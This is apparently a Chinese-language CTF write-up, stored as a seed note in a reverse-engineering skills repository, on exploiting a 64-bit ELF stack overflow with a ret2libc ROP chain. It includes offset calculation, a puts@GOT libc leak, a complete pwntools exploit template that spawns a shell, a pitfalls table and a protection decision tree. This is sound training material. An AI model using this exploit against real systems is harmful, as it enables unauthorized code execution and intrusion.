Files
reverse-skill/skills/field-journal/seed-010_ctf-pwn-rop-x64.md
T
2026-08-08 18:32:33 +08:00

5.0 KiB
Raw Blame History

[种子] CTF Pwn — x64 栈溢出 + ROP 链调用 system

场景分类

CTF / 二进制利用

目标概述

一个 64 位 ELF,存在 read() 越界写入栈缓冲区。本机有 NX(不可执行栈)但无 PIE,无 stack canary。利用 ROP gadget 调用 libc 的 system("/bin/sh") 拿 shell。

完整执行链路

  1. 基础侦察
    file vuln          # ELF 64-bit, dynamically linked, not stripped
    checksec vuln      # NX enabled, No PIE, No Canary, Partial RELRO
    strings vuln | grep -i 'flag\|/bin/sh\|system'
    
  2. 用 IDA / Ghidra 看 main → 发现 read(0, buf, 0x100) 但 buf 只有 0x40 字节
  3. 计算溢出偏移
    pwndbg> cyclic 200
    # 输入到目标程序,崩溃后看 RSP
    pwndbg> cyclic -l 0x6161616c
    # 偏移 = 72
    
  4. 由于没 PIE,PLT 和 GOT 都是固定地址
  5. 第一阶段(无 libc 信息):泄漏 puts@GOT 内容算 libc base
    payload  = b'A' * 72
    payload += p64(POP_RDI)
    payload += p64(elf.got['puts'])
    payload += p64(elf.plt['puts'])
    payload += p64(elf.symbols['main'])     # 回到 main 二次利用
    
  6. 接收 puts 输出,定位 libc 版本(用 libc-database 查询)
  7. 第二阶段:构造 system("/bin/sh")
    payload  = b'A' * 72
    payload += p64(POP_RDI) + p64(libc_base + libc.search(b'/bin/sh').next())
    payload += p64(libc_base + libc.symbols['system'])
    
  8. 拿 shell → cat flag

踩坑记录

问题 原因 解决方案 耗时
ROP 调用 system 后程序崩溃,没 shell 栈未对齐到 16 字节(Ubuntu 18.04+ 对 movaps 严格) system 前加一个 ret gadget 做 padding 30min
本地能打通,远程打不通 libc 版本不一致 用 puts 泄漏一个函数地址 → 上 libc-database 查精确版本 40min
pwntools recv 卡住 程序输出用了 setbuf(NULL) 但远程未关闭 stderr 缓冲 用 sendlineafter / recvuntil 精确同步 15min
一打远程就 SIGPIPE 第二阶段 payload 还在使用上一轮的 io 对象 用 process / remote 之后 io 必须复用同一个连接,主进程死了就完了 20min
ROPgadget 输出太多 工具默认列所有 gadget ROPgadget --binary vuln --only "pop|ret" 过滤 5min

工具链发现

  • pwntools 是 Python 写 exploit 的事实标准(from pwn import *)
  • pwndbg 比 GDB 自带的强 10 倍(带 cyclic / vmmap / heap 命令)
  • ROPgadget vs ropper:ropper 输出更友好,支持搜索 syscall chain
  • libc-database 通过泄漏的 1 个 libc 函数地址匹配确切 libc 版本
  • one_gadget 找一个能直接 execve("/bin/sh") 的 libc gadget,比手动 ROP 更短

关键代码/命令

完整 exploit 模板:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')

POP_RDI = 0x401243   # ROPgadget --binary vuln | grep "pop rdi"
RET     = 0x40101a   # 用于栈对齐

def exp():
    io = remote('chal.example.com', 31337)
    # io = process('./vuln')

    # Stage 1: leak puts@GOT
    payload  = b'A' * 72
    payload += p64(POP_RDI) + p64(elf.got['puts'])
    payload += p64(elf.plt['puts'])
    payload += p64(elf.symbols['main'])

    io.sendlineafter(b'> ', payload)
    leak = u64(io.recvline().strip().ljust(8, b'\x00'))
    libc.address = leak - libc.symbols['puts']
    log.success(f'libc base = {hex(libc.address)}')

    # Stage 2: system('/bin/sh')
    bin_sh = next(libc.search(b'/bin/sh'))
    payload  = b'A' * 72
    payload += p64(RET)             # 16-byte stack alignment
    payload += p64(POP_RDI) + p64(bin_sh)
    payload += p64(libc.symbols['system'])

    io.sendlineafter(b'> ', payload)
    io.interactive()

if __name__ == '__main__':
    exp()

对本包的改进建议

  • CTF-Sandbox-Orchestrator 的 competition-reverse-pwn 应增加 pwn-rop-cheatsheet.md,把这个流程做成模板
  • bootstrap manifest 加入 pwntools / pwndbg / one_gadget

可复用的模式/脚本片段

ROP 利用决策树:

checksec → 看保护
├── 无 NX → shellcode 直接打 (古早做法)
├── NX + 无 PIE → ret2libc 经典
├── NX + PIE + 无 Canary → 先泄漏 PIE 基址 → ret2libc
├── 有 Canary → 先想办法泄漏 Canary(格式化字符串 / off-by-one)
└── Full RELRO + Canary + PIE → 难度大,常见手段:fork 不重 ASLR / __libc_start_main / SROP

libc 泄漏 → 利用 标准两阶段 payload:

Stage 1: leak puts@GOT → 算 libc base → 回 main
Stage 2: pop rdi; "/bin/sh"; ret; system

进化动作

  • CTF orchestrator 增加 pwn 速查页
  • bootstrap-manifest 加入 pwntools / pwndbg / one_gadget
  • reverse-engineering/tools-dynamic.md 引用本案例

环境信息

  • Kali 2026.x / Ubuntu 22.04
  • pwntools 4.x, pwndbg 最新, ROPgadget 7.x
  • libc 版本: glibc 2.31 / 2.35(CTF 常见)
  • 目标架构: x86_64

脱敏要求

本条目为种子数据,基于公开 CTF 技术模式编写,不涉及任何真实赛题或闭源系统。